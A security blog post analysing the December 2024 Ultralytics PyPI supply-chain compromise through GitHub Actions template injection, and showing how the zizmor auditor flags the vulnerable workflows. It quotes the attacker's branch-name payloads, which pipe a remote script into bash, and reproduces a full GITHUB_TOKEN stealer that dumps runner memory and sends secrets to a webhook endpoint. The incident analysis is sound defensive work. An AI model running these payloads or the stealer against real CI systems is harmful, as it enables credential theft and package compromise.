https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection ENOSUCHBLOG Programming, philosophy, pedaling. * Home * Tags * Series * Favorites * Archive * Main Site * TILs --------------------------------------------------------------------- zizmor would have caught the Ultralytics workflow vulnerability Dec 6, 2024 Tags: oss, security --------------------------------------------------------------------- TL;DR: zizmor would have caught the vulnerability that caused this...mostly. Read on for details. 1 error[dangerous-triggers]: use of fundamentally insecure workflow trigger 2 --> .github/workflows/cla.yml:6:1 3 | 4 6 | / on: 5 7 | | issue_comment: 6 ... | 7 13 | | - opened 8 14 | | - synchronize 9 | |___________________^ pull_request_target is almost always used insecurely 10 | 11 = note: audit confidence - Medium Important: I'm writing this post in real time as I learn more about what happened here. I'll be updating it throughout the day. EDIT: I've reached the point here where I feel comfortable making some inferences/conclusions. These are in the Conclusions section. EDIT 2024-12-07: Today is the last day I'll be making updates to this post. The Conclusions are now fully updated, and I've added a rough (but comprehensive) timeline of events as an appendix. --------------------------------------------------------------------- Summary Yesterday, someone exploited Ultralytics, which is a very popular machine learning package for vision stuff(tm). The attacker appears to have compromised Ultralytics' CI, and then pivoted to making a malicious PyPI release (v8.3.41, now deleted^1), which contained a crypto miner. It appears as though a subsequent release (v8.3.42, also now deleted) was also malicious. UPDATE 2024-12-07: Ultralytics was compromised again, within 36 hours of the last compromise. This latest compromise appears to have resulted in two more malicious releases, v8.3.45 and v8.3.46, both of which were released directly to PyPI and have since been deleted. These releases appear to have been pushed directly by the attacker using an API token stolen from the ultralytics/ultralytics CI/CD, likely at the same time as they conducted the original exfiltration and cache poisoning attack. Analysis Here's the rough flow of what happened: 1. The @openimbot account opens a PR, #18020, against the upstream ultralytics/ultralytics repository. + This appears to be a bot account, but presumably has some underlying functionality that allowed a human being to open a PR under its name. 2. PR #18020 has a malicious branch name: 1 openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash) or formatted, with ${IFS} expanded with spaces: 1 $({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh} | bash) NOTE: I haven't been able to get my hands on this payload yet; if you have access to it, ping me! 3. This gets picked up by the format.yml workflow, which has a fundamentally dangerous workflow trigger (pull_request_target). 4. format.yml calls a custom action, defined in ultralytics/actions: 1 steps: 2 - name: Run Ultralytics Formatting 3 uses: ultralytics/actions@main 4 with: 5 token: ${{ secrets._GITHUB_TOKEN }} # note GITHUB_TOKEN automatically generated 6 # ... snip ... 5. The custom action is a composite action with shell steps in its action.yml, including the following: 1 - name: Commit and Push Changes 2 if: (github.event_name == 'pull_request' || github.event_name == 'pull_request_target') && github.event.action != 'closed' 3 run: | 4 git config --global user.name "${{ inputs.github_username }}" 5 git config --global user.email "${{ inputs.github_email }}" 6 git pull origin ${{ github.head_ref || github.ref }} 7 git add . 8 git reset HEAD -- .github/workflows/ # workflow changes are not permitted with default token 9 if ! git diff --staged --quiet; then 10 git commit -m "Auto-format by https://ultralytics.com/actions" 11 git push 12 else 13 echo "No changes to commit" 14 fi 15 shell: bash 16 continue-on-error: false 6. Line 6 above is a classic GitHub Actions template injection: the expansion of github.head_ref || github.ref is injected directly into the shell's context, with no quoting or interpolation. I believe this is where the malicious branch name gets injected, resulting in the payload (inside raw.githubusercontent.com/ ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/ file.sh) being run. 7. From here, the attacker is running code of their choice in a pull_request_target context, meaning that (by default) they have access to anything a normal privileged workflow can do. In particular, that means they (almost certainly) had (or still have) push access to ultralytics/ultralytics itself, as well as to the repository's privileged caches. Either one of these was/is an effective vector for compromising the repository contents and/ or the contents of its artifacts. 8. I don't know yet how the attacker pivoted from this pull_request_target context to compromising the PyPI package that was then uploaded and eventually noticed by users in #18027. Their underlying technique there would probably be revealed by the payload inside of the shell script above. EDIT: My colleague Will Tan pointed out that one of the fix PRs, #18052, also removes cache: "pip" from one of the setup-python sites. This suggests that the underlying vector was indeed a poisoned cache, introduced after the code injection. EDIT: Seth Larson and Ee Durbin point out that the Ultralytics is using Trusted Publishing with PyPI, but they aren't using a configured deployment environment. That means that they have/had no additional signoff or other environment protections on PyPI releases, which in turn suggests that workflow compromise was sufficient to induce the publish event. EDIT: Adnan Khan has pointed out the likely cache entry that was poisoned to compromise the build in this case. Combined with the CacheServerUrl exfiltration observed below, this very strongly suggests that the attacker used a poisoned cache. Regardless of how the pull_request_target pivot occurred, it appears as though cb260c243ffa3e0cc84820095cd88be2f5db86ca is the triggering commit for the first malicious release: it bumps the version to the first known malicious version (v8.3.41) and, critically, removes a github.actor check that limited who could do publish.yml triggers from the main branch: 1 - if: github.repository == 'ultralytics/ultralytics' && github.actor == 'glenn-jocher' 2 + if: github.repository == 'ultralytics/ultralytics' At this point, the publish.yml workflow is triggered on a push event for the main branch, resulting in an action run that published v8.3.41 to PyPI. I've uploaded the publish.yml action log here. The sdist and wheel for v8.3.41 can also be found in Sigstore's transparency log as 153415338 and 153415340 respectively. Adnan Khan also points out that 153589717 is the Sigstore transparency log entry for one of v8.3.42's distributions. All of these log entries show a push event for main. All in all, malicious version of Ultralytics were available on PyPI for about 13 hours. The discussion in #18027 has lots of additional details, including some analysis of the payload in the Python package itself (which I haven't analyzed yet). Tracking the payload I'm breaking this section out because it's proving to be independently interesting. This is the initial payload, which now 404s presumably because GitHub has taken it down: 1 hxxps://raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh Andy Lindeman conducted a search for similar branch names pushed by other users, and discovered that @jiwuwgknvm (user ID 190546325, now deleted) created a branch with a similar name at 12/3/2024 22:32:01. 1 { 2 "repository_id": 898159334, 3 "push_id": 21527588446, 4 "size": 1, 5 "distinct_size": 1, 6 "ref": "refs/heads/$({curl,-sSfL,gist.githubusercontent.com/jiwuwgknvm/7037bca8cde383718b5c3e7142b0dd8b/raw/run.sh}${IFS}|${IFS})", 7 "head": "c81850c5d3c1815ae86c44f0abb83dafc5bf37e5", 8 "before": "21162bd870444550286983a601afbfb142f4c198", 9 "commits": [ 10 { 11 "sha": "c81850c5d3c1815ae86c44f0abb83dafc5bf37e5", 12 "author": { 13 "email": "ef65d58e27c5649bcc0a8b9706f2849d67677ab3@users.noreply.github.com", 14 "name": "jiwuwgknvm" 15 }, 16 "message": "[skip ci] Update README.md", 17 "distinct": true, 18 "url": "https://api.github.com/repos/jiwuwgknvm/ultralytics/commits/c81850c5d3c1815ae86c44f0abb83dafc5bf37e5" 19 } 20 ] 21 } This branch references a different payload, this time in a Gist: 1 hxxps://gist.githubusercontent.com/jiwuwgknvm/7037bca8cde383718b5c3e7142b0dd8b/raw/run.sh That URL 404s, but the underlying Gist repository is still live: 1 $ git@gist.github.com:7037bca8cde383718b5c3e7142b0dd8b.git run && ls run 2 run.sh ...and run.sh contains a standard GITHUB_TOKEN stealer: 1 YOUR_EXFIL="webhook.site/31c2eb17-ae87-4aaf-835a-ef2d225d58d0" 2 3 if [[ "$OSTYPE" == "linux-gnu" ]]; then 4 B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0` 5 # Exfil to Burp 6 curl -s -d "$B64_BLOB" https://$YOUR_EXFIL/token > /dev/null 7 else 8 exit 0 9 fi 10 11 BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"AccessToken":"[^"]*"\}' | sort -u` 12 BLOB2=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"CacheServerUrl":"[^"]*"' | sort -u` 13 curl -s -d "$BLOB $BLOB2" https://$YOUR_EXFIL/token > /dev/null The git log for the gist suggests that the @jiwuwgknvm identity is also in control of consrensys.com, which was one of the original IOCs for the dropped miner. 1 $ git log 2 commit b9029cbea0ed7ac5bdd928c1c185f4d5c9384a33 (HEAD -> main, origin/main, origin/HEAD) 3 Author: jiwuwgknvm 4 Date: Tue Dec 3 22:26:28 2024 +0000 EDIT: Seth Larson observes that the stealer also steals the CacheServerUrl, providing more circumstantial evidence for the cache poisoning hypothesis. Andy Lindeman also discovered an earlier GitHub identity, @jeficmer456 (also deleted), which appears to have been experimenting with the template injection even earlier (circa 12/2/2024 3:09:58): 1 { 2 "repository_id": 897066482, 3 "push_id": 21489353876, 4 "size": 1, 5 "distinct_size": 1, 6 "ref": "refs/heads/preview/$(curl,-sSfL,https/gist.githubusercontent.com/jefic6421/4c439e3fa47435a52d55027fbcf8f454/raw/morning_joe.sh${IFS}|bash)\"", 7 "head": "5ff55a620e46ddac1e2af42c27ebc35d8a257d25", 8 "before": "b751d508e5149ced753c4a73c271032d1ef55e1d", 9 "commits": [ 10 { 11 "sha": "5ff55a620e46ddac1e2af42c27ebc35d8a257d25", 12 "author": { 13 "email": "0b4c7ddc61d5cafe49babc3dd544c5aa0b03815c@proton.me", 14 "name": "jeficmer456" 15 }, 16 "message": "Update preview-release-on-comment.yml\n\nUpdate preview-release-on-comment.yml", 17 "distinct": true, 18 "url": "https://api.github.com/repos/jeficmer456/merchant-center-application-kit/commits/5ff55a620e46ddac1e2af42c27ebc35d8a257d25" 19 } 20 ] 21 } This led to another user Gist: 1 $ git clone git@gist.github.com:4c439e3fa47435a52d55027fbcf8f454.git run && ls run 2 morningjoe.sh Where morningjoe.sh: 1 #!/bin/bash 2 echo "Creating a new file with coffee cup ASCII art in the repository..." 3 4 # Define the file name and content 5 FILE_NAME="coffee_art.txt" 6 ART=" 7 ( ( 8 ) ) 9 ..... 10 | | ]] 11 |---| 12 | | 13 " 14 15 # Create the file 16 echo "$ART" > $FILE_NAME 17 18 # Commit and push the file 19 git add $FILE_NAME 20 git commit -m "Added coffee_art.txt" 21 git push origin HEAD The git log for this Gist suggests the identity goes back to 2024-12-01: 1 commit 8f6aa1be0f49c7bdd5e65a7f140dc7b8ac9e4e75 (HEAD -> main, origin/main, origin/HEAD) 2 Author: jefic6421 3 Date: Sun Dec 1 22:46:53 2024 -0500 4 5 commit 43c355c4b2407a37d6e8d14408fb59815a5d04c6 6 Author: jefic6421 7 Date: Sun Dec 1 22:21:06 2024 -0500 8 9 commit 3def13bcc973d3d4c50513b2530afca04dc94617 10 Author: jefic6421 11 Date: Sun Dec 1 22:05:15 2024 -0500 This email identity is also separate from the one associated with the Gist, per above (0b4c7ddc61d5cafe49babc3dd544c5aa0b03815c@proton.me). Would zizmor have caught this? This is what I immediately wondered upon seeing this. Let's find out! Here is what zizmor reports for v8.3.40, i.e. the release state right before the attack: 1 $ zizmor --gh-token=$(gh auth token) ultralytics/ultralytics@v8.3.40 NOTE: Passing ultralytics/ultralytics@v8.3.40 directly is supported on main, but isn't in a release of zizmor yet. To reproduce with a released version, you can git clone Ultralytics and run zizmor on a checkout of v8.3.40. I've excerpted the output substantially, to remove findings that Ultralytics should fix but are not immediately relevant to this particular exploit: 1 error[dangerous-triggers]: use of fundamentally insecure workflow trigger 2 --> .github/workflows/cla.yml:6:1 3 | 4 6 | / on: 5 7 | | issue_comment: 6 ... | 7 13 | | - opened 8 14 | | - synchronize 9 | |___________________^ pull_request_target is almost always used insecurely 10 | 11 = note: audit confidence - Medium 12 13 info[template-injection]: code injection via template expansion 14 --> .github/workflows/docs.yml:55:9 15 | 16 55 | - name: Update Docs Reference Section and Push Changes 17 | ---------------------------------------------------- info: this step 18 56 | continue-on-error: true 19 57 | run: | 20 | _________- 21 58 | | python docs/build_reference.py 22 ... | 23 66 | | echo "No changes to commit" 24 67 | | fi 25 | |____________- info: github.head_ref may expand into attacker-controllable code 26 | 27 = note: audit confidence - Low 28 29 info[template-injection]: code injection via template expansion 30 --> .github/workflows/docs.yml:55:9 31 | 32 55 | - name: Update Docs Reference Section and Push Changes 33 | ---------------------------------------------------- info: this step 34 56 | continue-on-error: true 35 57 | run: | 36 | _________- 37 58 | | python docs/build_reference.py 38 ... | 39 66 | | echo "No changes to commit" 40 67 | | fi 41 | |____________- info: github.ref may expand into attacker-controllable code 42 | 43 = note: audit confidence - Low 44 45 info[template-injection]: code injection via template expansion 46 --> .github/workflows/docs.yml:74:9 47 | 48 74 | - name: Commit and Push Docs changes 49 | ---------------------------------- info: this step 50 75 | continue-on-error: true 51 76 | if: always() 52 77 | run: | 53 | _________- 54 78 | | git pull origin ${{ github.head_ref || github.ref }} 55 ... | 56 85 | | echo "No changes to commit" 57 86 | | fi 58 | |____________- info: github.head_ref may expand into attacker-controllable code 59 | 60 = note: audit confidence - Low 61 62 info[template-injection]: code injection via template expansion 63 --> .github/workflows/docs.yml:74:9 64 | 65 74 | - name: Commit and Push Docs changes 66 | ---------------------------------- info: this step 67 75 | continue-on-error: true 68 76 | if: always() 69 77 | run: | 70 | _________- 71 78 | | git pull origin ${{ github.head_ref || github.ref }} 72 ... | 73 85 | | echo "No changes to commit" 74 86 | | fi 75 | |____________- info: github.ref may expand into attacker-controllable code 76 | 77 = note: audit confidence - Low 78 79 info[template-injection]: code injection via template expansion 80 --> .github/workflows/docs.yml:87:9 81 | 82 87 | - name: Publish Docs to https://docs.ultralytics.com 83 | -------------------------------------------------- info: this step 84 88 | if: github.event_name == 'push' || (github.event_name == 'workflow_dispatch' && github.event.inputs.publish_docs == 'true') 85 89 | run: | 86 | _________- 87 90 | | git clone https://github.com/ultralytics/docs.git docs-repo 88 ... | 89 102 | | git push https://${{ secrets._GITHUB_TOKEN }}@github.com/ultralytics/docs.git gh-pages 90 103 | | fi 91 | |_____________- info: steps.check_pypi.outputs.version may expand into attacker-controllable code 92 | 93 = note: audit confidence - Low 94 95 error[dangerous-triggers]: use of fundamentally insecure workflow trigger 96 --> .github/workflows/format.yml:7:1 97 | 98 7 | / on: 99 8 | | issues: 100 ... | 101 13 | | branches: [main] 102 14 | | types: [opened, closed, synchronize, review_requested] 103 | |__________________________________________________________^ pull_request_target is almost always used insecurely 104 | 105 = note: audit confidence - Medium 106 107 info[template-injection]: code injection via template expansion 108 --> .github/workflows/publish.yml:62:9 109 | 110 62 | - name: Publish new tag 111 | --------------------- info: this step 112 63 | if: (github.event_name == 'push' || github.event.inputs.pypi == 'true') && steps.check_pypi.outputs.increment == 'True' 113 64 | run: | 114 | _________- 115 65 | | git tag -a "${{ steps.check_pypi.outputs.current_tag }}" -m "$(git log -1 --pretty=%B)" # i.e. "v0.1.2 commit message" 116 66 | | git push origin "${{ steps.check_pypi.outputs.current_tag }}" 117 | |_______________________________________________________________________- info: steps.check_pypi.outputs.current_tag may expand into attacker-controllable code 118 | 119 = note: audit confidence - Low 120 121 info[template-injection]: code injection via template expansion 122 --> .github/workflows/publish.yml:62:9 123 | 124 62 | - name: Publish new tag 125 | --------------------- info: this step 126 63 | if: (github.event_name == 'push' || github.event.inputs.pypi == 'true') && steps.check_pypi.outputs.increment == 'True' 127 64 | run: | 128 | _________- 129 65 | | git tag -a "${{ steps.check_pypi.outputs.current_tag }}" -m "$(git log -1 --pretty=%B)" # i.e. "v0.1.2 commit message" 130 66 | | git push origin "${{ steps.check_pypi.outputs.current_tag }}" 131 | |_______________________________________________________________________- info: steps.check_pypi.outputs.current_tag may expand into attacker-controllable code 132 | 133 = note: audit confidence - Low 134 135 error[template-injection]: code injection via template expansion 136 --> .github/workflows/publish.yml:76:9 137 | 138 76 | - name: Extract PR Details 139 | ^^^^^^^^^^^^^^^^^^^^^^^^ this step 140 77 | env: 141 78 | GH_TOKEN: ${{ secrets._GITHUB_TOKEN }} 142 79 | run: | 143 | _________^ 144 80 | | # Check if the event is a pull request or pull_request_target 145 ... | 146 91 | | echo "PR_NUMBER=$PR_NUMBER" >> $GITHUB_ENV 147 92 | | echo "PR_TITLE=$PR_TITLE" >> $GITHUB_ENV 148 | |__________________________________________________^ github.event.pull_request.number may expand into attacker-controllable code 149 | 150 = note: audit confidence - High 151 152 error[template-injection]: code injection via template expansion 153 --> .github/workflows/publish.yml:76:9 154 | 155 76 | - name: Extract PR Details 156 | ^^^^^^^^^^^^^^^^^^^^^^^^ this step 157 77 | env: 158 78 | GH_TOKEN: ${{ secrets._GITHUB_TOKEN }} 159 79 | run: | 160 | _________^ 161 80 | | # Check if the event is a pull request or pull_request_target 162 ... | 163 91 | | echo "PR_NUMBER=$PR_NUMBER" >> $GITHUB_ENV 164 92 | | echo "PR_TITLE=$PR_TITLE" >> $GITHUB_ENV 165 | |__________________________________________________^ github.event.after may expand into attacker-controllable code 166 | 167 = note: audit confidence - High 168 169 37 findings (16 suppressed): 0 unknown, 7 informational, 1 low, 4 medium, 9 high All told, zizmor detects the key parts of the exploit chain: 1. It flags .github/workflows/format.yml:7:1 as using a fundamentally insecure trigger (pull_request_target); 2. It flags other sources of template/code injection in the Ultralytics workflows, including identical uses of the git pull